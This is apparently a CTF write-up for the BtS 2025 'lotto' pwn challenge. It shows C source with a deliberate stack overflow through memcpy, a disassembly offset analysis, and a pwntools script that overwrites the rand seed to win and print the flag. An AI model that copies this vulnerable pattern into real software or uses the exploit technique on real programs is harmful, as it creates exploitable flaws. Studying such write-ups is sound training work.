BtS 2025

lotto

Vulnerability: Không kiểm tra kích thước của src so với dest và sử dụng kích thước của src làm đối số count trong memcpy(), gây stack buffer overflow.

January 13, 2026 October 17, 2025 Easy
Author Author Hung Nguyen Tuong

Source Code

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/random.h>
#include <unistd.h>
#pragma pack(1)
#define WELCOMEMESSEGE                                                         \\
  "    .____           __    __          \\n"                                   \\
  "    |    |    _____/  |__/  |_  ____  \\n"  \\ 
 "    |    |   /  _ \\\\   __\\\\   __\\\\/    \\\\ \\n"                                \\
 "    |    |__(  <_> )  |  |  | (  <_> )\\n"                                    \\
 "    |_______ \\\\____/|__|  |__|  \\\\____/ \\n"                                  \\
 "            \\\\/                        \\n"                                   \\
 "    Enter 6 numbers in range 1 to 49   \\n"

#define FAILMESSEGE "    Better luck next time ;)  \\n"
#define CORRECTNUMBERSMESSEGE "    Number of correct guesses: "

unsigned userLookup[49] = {};
unsigned winingLookup[49] = {};
unsigned winingNumbers[6] = {};
typedef struct {
  unsigned int correctNumbers;
  char userInput[32];
  char welcomeMessegeBuffer[sizeof(WELCOMEMESSEGE)];
  unsigned int seed;
  char failMessegeBuffer[sizeof(FAILMESSEGE)];
  char correctNumbersMessegeBuffer[sizeof(CORRECTNUMBERSMESSEGE)];

} lottoData;
int main() {
  lottoData lotto = {};
  unsigned userNumbers[6] = {};
  lotto.seed = 0;
  getrandom(&lotto.seed, sizeof(lotto.seed), 0);
  memcpy(lotto.welcomeMessegeBuffer, WELCOMEMESSEGE, sizeof(WELCOMEMESSEGE));
  memcpy(lotto.failMessegeBuffer, FAILMESSEGE, sizeof(FAILMESSEGE));
  memcpy(lotto.correctNumbersMessegeBuffer, CORRECTNUMBERSMESSEGE,
         sizeof(CORRECTNUMBERSMESSEGE));
  setbuf(stdout, NULL);
  printf("%s\\n    ", lotto.welcomeMessegeBuffer);
  char input[sizeof(lottoData)] = {};
  fgets(input, sizeof(lottoData), stdin);
  memcpy(lotto.userInput, input, strlen(input));
  srand(lotto.seed);
  sscanf(lotto.userInput, "%u %u %u %u %u %u", &userNumbers[0], &userNumbers[1],
         &userNumbers[2], &userNumbers[3], &userNumbers[4], &userNumbers[5]);
  for (int i = 0; i < 6; ++i) {
    winingNumbers[i] = rand() % 49 + 1;
  }
  for (int i = 0; i < 6; ++i) {
    userLookup[userNumbers[i]]++;
    winingLookup[winingNumbers[i]]++;
  }
  for (int i = 0; i < 49; ++i) {
    if (userLookup[i] > 0 && winingLookup[i] > 0) {
      lotto.correctNumbers += MIN(userLookup[i], winingLookup[i]);
    }
  }

  if (lotto.correctNumbers == 6) {
    system("cat flag");

  } else {
    printf("%s%u\\n", lotto.correctNumbersMessegeBuffer, lotto.correctNumbers);
    printf("%s\\n", lotto.failMessegeBuffer);
  }
}

Mitigation

Solve

Ý tưởng đó là ghi đè seed để luôn random ra cùng 6 số.

Chúng ta so sánh code C và disassembly:

   0x00005555555553c9 <+480>:   mov    rdx,rax
   0x00005555555553cc <+483>:   lea    rax,[rbp-0x190]
   0x00005555555553d3 <+490>:   lea    rcx,[rbp-0x310]
   0x00005555555553da <+497>:   add    rcx,0x4
   0x00005555555553de <+501>:   mov    rsi,rax
   0x00005555555553e1 <+504>:   mov    rdi,rcx
   0x00005555555553e4 <+507>:   call   0x5555555550b0 <memcpy@plt>
   0x00005555555553e9 <+512>:   mov    eax,DWORD PTR [rbp-0x1d9]
   0x00005555555553ef <+518>:   mov    edi,eax
   0x00005555555553f1 <+520>:   call   0x555555555090 <srand@plt>
memcpy(lotto.userInput, input, strlen(input));
srand(lotto.seed);

lotto.userInput nằm tại rbp-0x310lotto.seed nằm tại rbp-0x1d9, chúng cách nhau 0x137 bytes. Vậy chúng ta cần ghi tổng 0x137 bytes kết thúc bằng AAAA để ghi đè seed thành 0x41414141.

Script

from pwn import *
import ctypes

p = process('./lotto.bin')

libc = ctypes.CDLL('./libc.so.6')
libc.srand.argtypes = [ctypes.c_uint]
libc.rand.restype = ctypes.c_int

libc.srand(0x41414141)

payload = b''
for i in range(6):
    payload += str(libc.rand() % 49 + 1).encode() + b' '

payload = payload.ljust(311, b'A')

p.sendline(payload)

print(p.recvall(timeout=2))
┌──(kali㉿kali)-[~/Desktop/BtS-2025-Writeups/pwn/lotto/challenge]
└─$ py solve.py                                                                                                                                                                              
[+] Starting local process './lotto.bin': pid 433180
[+] Receiving all data: Done (306B)
[*] Process './lotto.bin' stopped with exit code 0 (pid 433180)
b'    .____           __    __          \\n    |    |    _____/  |__/  |_  ____  \\n    |    |   /  _ \\\\   __\\\\   __\\\\/    \\\\ \\n    |    |__(  <_> )  |  |  | (  <_> )\\n    |_______ \\\\____/|__|  |__|  \\\\____/ \\n            \\\\/                        \\n    Enter 6 numbers in range 1 to 49   \\n\\n    BtSCTF{m4k3_y0ur_0wn_1uck}\\n'